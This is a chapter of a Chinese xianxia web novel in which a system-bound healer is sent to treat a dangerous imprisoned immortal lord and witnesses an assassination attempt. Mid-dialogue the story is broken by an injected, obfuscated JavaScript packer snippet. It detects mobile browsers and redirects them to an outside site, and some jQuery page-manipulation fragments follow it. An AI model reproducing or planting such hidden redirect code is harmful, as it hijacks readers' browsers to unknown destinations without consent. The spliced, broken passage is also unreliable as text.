霓昭回过神来,长叹一口气。
现如今只能走一步算一步了。
既如此,当务之急还是好好睡一觉吧。
想通了的霓昭瞬间恢复咸鱼状态,双眼一闭进入梦乡。
翌日
窗外传来打更声,霓昭迅速盘好发髻,将银针同其他物品一起放入伸缩瓶中,走出房门。
两个面带青铜面具的弟子恭敬地跪在轿子下,待霓昭上轿后,双手在空中画出腾云咒,口中念念有词,带着霓昭一同飞向空中,朝整个容池仙门最北端的鹤霆禁宫驶去。
今天是仁苍仙君特聘医修的日子,各族弟子都从八方赶来,聚在鹤霆禁宫的大门前。
“嘎吱——”
大门从内而外打开,从中出来了两个头戴黑色面具的弟子,看不清神态,举止怪异。
一句未说,只是不停地往各族弟子身上撒着白色粉末。
下一瞬,霓昭只觉得自己身旁刮过一阵风,再转头,刚刚站在身旁的百克门派弟子已然没了身影。
大门前霎时少了几乎一半的人,留下的弟子都在对方的脸上看到了惊愕与后怕。
“各位,跟我走吧。”
黑色面具男子领着众人拐进一条回廊,与门外的花繁锦簇不同,前殿雾气萦绕,两道旁未见一朵花,目之所及全是枯败,一眼望不到头的回廊混着怪异的焚香味,激得霓昭不禁发冷,双臂起了无数鸡皮疙瘩。
“到了,各位在此稍作休息,明日会有侍女传话。”男子将众人带到休息处,撂下一句话便转身离开。
“钟声响起后,勿走动。”那话音随着脚步声消散,如雾如梦,并未给众人留下警醒。
……
各族弟子的起居室不大,只作男女之分,留下的床位并不多。
初入鹤霆禁宫,弟子们是又怕又好奇,不出一小时就已各自抱团,叽叽喳喳地交换自己所得到的情报。
“这仁苍仙君据说是仙门容氏的遗腹子,血脉尊贵是长老们都不敢惹的人。”庆炎派的人率先发话。
“既如此修为了得,为何闭关了三千年?”
“你以为真是闭关啊?分明是关了禁闭,三千年前献祭天道那日,这仁苍仙君不知是发了什么疯在祭坛血洗仙门,是各长老协力抹了他的记忆废了老大劲锁起来的。”
“既如此,为何还要派我们来医治仙君?”谷道派师妹一脸困惑提出疑问。
那人神色微顿,泛起了些不自然,随后轻咳两声,“毕竟容氏是仙门的象征,总不好断了血脉。”
霓昭躺在旁边竖起耳朵听了个大概,随后见这两人聊起了八卦顿感无趣。
困意袭来,霓昭从伸缩瓶中拿出耳塞与眼罩,翻了个身,沉沉睡去。
吃好睡好心情好,才能活得久。
然而在禁宫的第一夜,事与愿违。
凌晨1点,系统的警报声在霓昭脑袋中炸出。
“警报!警报!目标生命体体征下降。”随之而来的,霓昭丹田一紧,仿佛被人用刀捅了一般刺痛。
意识回笼,霓昭偷偷地坐起身来,观察卧室人数。
不数不知道,一数吓一跳,总共18个女修,现如今只剩15人躺在床上。
霓昭心累叹气。果然修真界才是最卷的,这才第一日,就已有这么多人准备下手。
她卸下力回躺进床内,在心里和系统好商好量,“他应该不至于死掉吧,我这次不去行不行,想睡觉……”
系统用疼痛值满级代替回答。
霓昭吃痛地快步走下床,用气声回应,“我去我去,我现在就去。”
钟声敲响第三声时,霓昭正走在前往绯临塔的路上。
与名字相反,绯临塔内寒气森然,湿冷至极,地面上凝结着薄霜,每走一步都会泛起细碎的冰晶。
塔内时不时响起锁链拖动的声音,塔顶冰柱随着声音不时晃动,如某种机关。
霓昭拢紧单薄的衣裙,在内心吐槽修真界的女装质量极差!
她小心翼翼地走进塔内,左手攥紧一根银针,一步一步爬上塔顶。
绕过盘龙冰柱后,霓昭猛地僵住,呼吸微滞。
塔心中央的玄冰台上,躺着身着一袭白衣的男子。
身长修长脸色却苍白如纸,眉心紧皱嘴角却微微上扬,神性又疯戾,脖颈处隐约能看到青黑色的血管,不断蔓延至下颌。
是久病之人才有的病容。
霓昭放缓脚步靠近,捏着银针的手指止不住地发抖,手指攀上容霁的脖颈侧,却在下一秒手腕被人抓住,猛地一折。
“又一个来送死的。”沙哑的声音炸在耳畔,惊得霓昭叫出声来。
“松手,松手!”霓昭疼得直叫,腿一软就想往下跪。
但容霁非但没听,手上的力度反而越来越大,
铁链无风自动,随着动作发出刺耳的摩擦声,地面凝结的冰霜在空中炸裂,冰霜如刀刃朝霓昭眼前飞来,擦过耳畔,带出一道血痕。
容霁眼底翻涌,瞳孔骤缩,面上神态却漫不经心带着几分讥笑。
下一秒,他身形未动,手一松一抬,还未反应过来,黑雾磅礴威压将霓昭狠狠掼在绯临塔的墙面上。
冰与火的双重折磨。
霓昭只觉得内脏如同错位一般,筋脉被那团黑雾密密麻麻地侵入扎住,稍一动,就被揪起泛着酸。
她后脑勺撞上墙,喉间腥甜,呛声咳出血渍,滴在冰面上如同绽开的玫瑰。
容霁不知何时瞬移至她的面前,看得出来他也因共生系统身体越发现虚弱,可还是强撑着苍白修长的五指掐住她脖颈提起,黑雾顺着指尖缠上她的脖颈动脉。
面前男人声音低沉带着几分久病未愈的沙哑,勾起一抹笑,“你们神农族没人了?派你来送死?”
他手掌如蛇般幽幽攀上来,拇指摩挲着霓昭的嘴角血迹,动作温柔得像在对待情人,可只有霓昭清楚,面前男人的眼底一片森寒,毫无柔情之色。
霓昭只觉空气逐渐稀薄,喘不上气来,眼睛慢慢爬上红血丝。快要窒息时她才发现,那盘龙冰柱前躺着两具尸体,正是消失的女修。
两人心口处皆有一个针眼大的黑洞,盘龙柱上的浮雕在此时化形,黑龙扭动着身体,缓缓靠近尸体,用鼻子轻嗅几秒,随后发出一声低吼,将两人吞入腹中。
顿觉不妙,她搞不好真会死在今晚。
忙用力拍打容霁的手,示意自己有话说。
许是从未在修真界遇到法术如此薄弱之人,谅她对自己造不成什么威胁,容霁松开手坐回冰台,那双桃花眼漫不经心地盯着霓昭。
“我是被系……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15970463|177815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
咳咳……”
霓昭刚想说出自己是被系统选来医治他的人。谁知系字刚脱出口,喉间突然如烈火灼烧。
系统弹幕在此刻弹出:【警告!禁止向目标透露本系统存在!】
容霁似是不耐烦,眯起眼看着她。
“系……咳咳……”
直到第二遍企图说出“系统”两字,霓昭才察觉这不适感应该是系统对她的阻止。
遂作罢。
“不说?那便没有活着的必要了。”容霁作势抬起手,准备将其魂魄打散。
“我是族长亲自选来帮您治疗的医修!真不是前来刺杀的刺客啊!”
“哦?如何证明?”容霁眼尾挑起,饶有兴味地看着她,那眼神不像是在与人交谈,反而像是在逗弄路边即将走向死亡的流浪猫。
勉为其难地浪费一点时间陪她打趣。
“我……我完全不会法术!我们族长就怕仙君会起疑,特意选了我这个武力修为为0的医修。”怕容霁不信,她用手按照在电视中看过的仙侠剧一般在空中随意画出几个符号。
没有任何东西变出。
空气安静了一瞬。
“你看,我随便乱画的,真没学过。”
霓昭耸了耸肩膀,一脸无奈地看向容霁。
她真的很不想告诉别人自己是个在修真界对法术一窍不通的咸鱼,可目前来说还是坦诚点好。
容霁饶是再见过大世面,此刻嘴角也不受控制地抽搐了两下,刚想开口嘲讽,脸色一变。
“嗖——”
一道寒光骤然从暗处射来。
容霁反应极快,侧身一闪,却仍被刀刃划过肩膀,鲜血瞬时染透了雪白的衣袍,他脖颈上的青黑色血管狠狠跳动两下。
空气中弥漫开一股烧焦的味道,霓昭顺着味道看向容霁肩膀,被划伤的那处萦绕着一团黑雾。
霓昭瞳孔骤缩,那是一把淬了剧毒的刀!
与此同时,系统发出警报,“警告!目标对象生命值下降3%。”
霓昭只觉得自己的心脏被人狠狠揪了一把,四肢越发无力,肩膀处与容霁共感,隐隐作痛。
阴影处,缓缓走出一个带着面纱的女子,手中握着剑,反射出一道锐利的寒光。
“仙君闭关千年,竟连最基本的警惕都丢了。”那人嗓音沙哑,带着嘲讽,“看来噬心毒威力不小啊!”
她边说边缓缓摘下脸上的面纱,显出真面目来。
是今日在起居室大谈仙门八卦的庆炎派弟子。
容霁闻言,周身黑雾骤然翻涌,“庆炎派?就这点本事?本君还轮不到你们来指手画脚。”
那女修呵笑一声,动作迅猛冲向容霁,欲将带了毒素的刀刃插入他心口,却在途中,兀得将衣袖一甩,袖中突然射出数十道银针,每一根都泛着诡异的青黑色,是虚晃!
霓昭一眼就认了出来,那是仙门最毒的“断魂散”。
“小心!”她紧张地冲容霁提醒。
容霁抬手一挥,周身黑雾如屏障般挡在身前,将数十道银针尽数弹射回那女修身上,七窍各一针。
随后动作未停,手指在空中画出两道金光,将空气划出一道口子,将那带有毒素的刀吞下。
全程面色未动一分,真如外界弟子所说:不近人情,恐怖如斯。